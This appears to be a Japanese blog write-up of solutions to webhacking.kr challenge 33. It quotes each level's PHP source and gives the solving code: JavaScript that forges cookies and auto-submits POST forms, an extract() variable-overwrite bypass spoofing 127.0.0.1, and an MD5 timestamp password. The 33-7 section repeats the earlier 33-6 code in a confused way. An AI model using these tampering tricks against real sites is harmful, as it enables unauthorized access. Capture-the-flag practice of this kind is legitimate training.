â– 

webhackingkr

33-1

// フォームを作成
document.body.insertAdjacentHTML("beforeend", `
    <form id="TEST_FORM" action="https://webhacking.kr/challenge/bonus-6/lv2.php" method="post"  >
    　　// パラメータ
    <input  name="post"  value="hehe"  />
    <input  name="post2"  value="hehe2"  />
    </form>
`)

// フォームを送信
document.getElementById("TEST_FORM").submit()

33-2

GETパラメーターのキーをmyip に設定、値はサーバーのREMOTE_ADDRであれば問題ない。

REMOTE_ADDRの値は、次のコマンドで確認できた。

$> ping webhacking.kr
PING webhacking.kr (202.182.106.159): 56 data bytes
64 bytes from 202.182.106.159: icmp_seq=0 ttl=52 time=13.164 ms
64 bytes from 202.182.106.159: icmp_seq=1 ttl=52 time=23.832 ms
64 bytes from 202.182.106.159: icmp_seq=2 ttl=52 time=46.848 ms
64 bytes from 202.182.106.159: icmp_seq=3 ttl=52 time=13.757 ms
64 bytes from 202.182.106.159: icmp_seq=4 ttl=52 time=48.526 ms
^C
--- webhacking.kr ping statistics ---
5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 13.164/29.225/48.526/15.552 ms

https://webhacking.kr/challenge/bonus-6/33.php?myip=202.182.106.159

これで正解と思ったら違った。

REMOTE_ADDRは ユーザーがアクセスしているIPアドレスのことなので、 https://www.cman.jp/network/support/go_access.cgiにアクセスし、IPアドレスを取得するレバ良い。

↑の手順で正解

33-4

https://webhacking.kr/challenge/bonus-6/l4.php?password=b442e80a17388b2cd9e568da7ca315a1

Challenge 33-4
view-source
hint : 1733041724

hintの値は1秒ごとに1つ増えていく。UNIXタイムスタンプをmd5で暗号化したものを、passwordに入れればOK

時間が近くなった時は、再読み込みボタンを連打するのがコツ。

33-5

<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'] && $_POST['impost'] && $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

document.cookie = "imcookie=hello; path=/";
// フォームを作成
document.body.insertAdjacentHTML("beforeend", `
    <form id="TEST_FORM" action="https://webhacking.kr/challenge/bonus-6/md555.php?imget=hello" method="post"  >
    　　// パラメータ
    <input  name="impost"  value="hello"  />
    </form>
`)

// フォームを送信
document.getElementById("TEST_FORM").submit()

33-6

<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'] == md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'] == md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>

document.cookie = "test=13afe819710c524e52d5ba56fb781972; path=/";
document.body.insertAdjacentHTML("beforeend", `
    <form id="TEST_FORM" action="https://webhacking.kr/challenge/bonus-6/gpcc.php" method="post"  >
    <input  name="kk"  value="0845b309c7b9b957afd9ecf775a4c21f"  />
    </form>
`);

document.getElementById("TEST_FORM").submit();

33-7

https://webhacking.kr/challenge/bonus-6/wtff.php

119.171.161.124

119171161124

<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'] = str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>

?119171161124=119171161124

document.cookie = "test=13afe819710c524e52d5ba56fb781972; path=/";
document.body.insertAdjacentHTML("beforeend", `
    <form id="TEST_FORM" action="https://webhacking.kr/challenge/bonus-6/gpcc.php" method="post"  >
    <input  name="kk"  value="0845b309c7b9b957afd9ecf775a4c21f"  />
    </form>
`);

document.getElementById("TEST_FORM").submit();

https://webhacking.kr/challenge/bonus-6/ipt.php?119171161124=119171161124

33-8

https://webhacking.kr/challenge/bonus-6/ipt.php

<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

https://webhacking.kr/challenge/bonus-6/ipt.php?addr=127.0.0.1

33-9

<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'] == $answer) echo "<a href=???.php>Next</a>";
else echo "Wrong";
?>

これをphp online cmdで実行

<!DOCTYPE html>
<html>
<body>

<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
echo $answer
?>

</body>
</html>

-> acegikmoqsuwy

33-10

<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>

これを、php online editorで実行。

<!DOCTYPE html>
<html>
<body>

<?php



$ip = "119.171.161.124";
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo $answer;
echo "<br/>";
echo $ip;

?>

</body>
</html>

27553775535

<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2; #ip = 5510755107
$answer = str_replace(".","",$answer); #answer = 27553775535
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>

answerip/27553775535_5510755107.php

-> 正解！

page:https://minegishirei.hatenablog.com/entry/2024/12/01/184813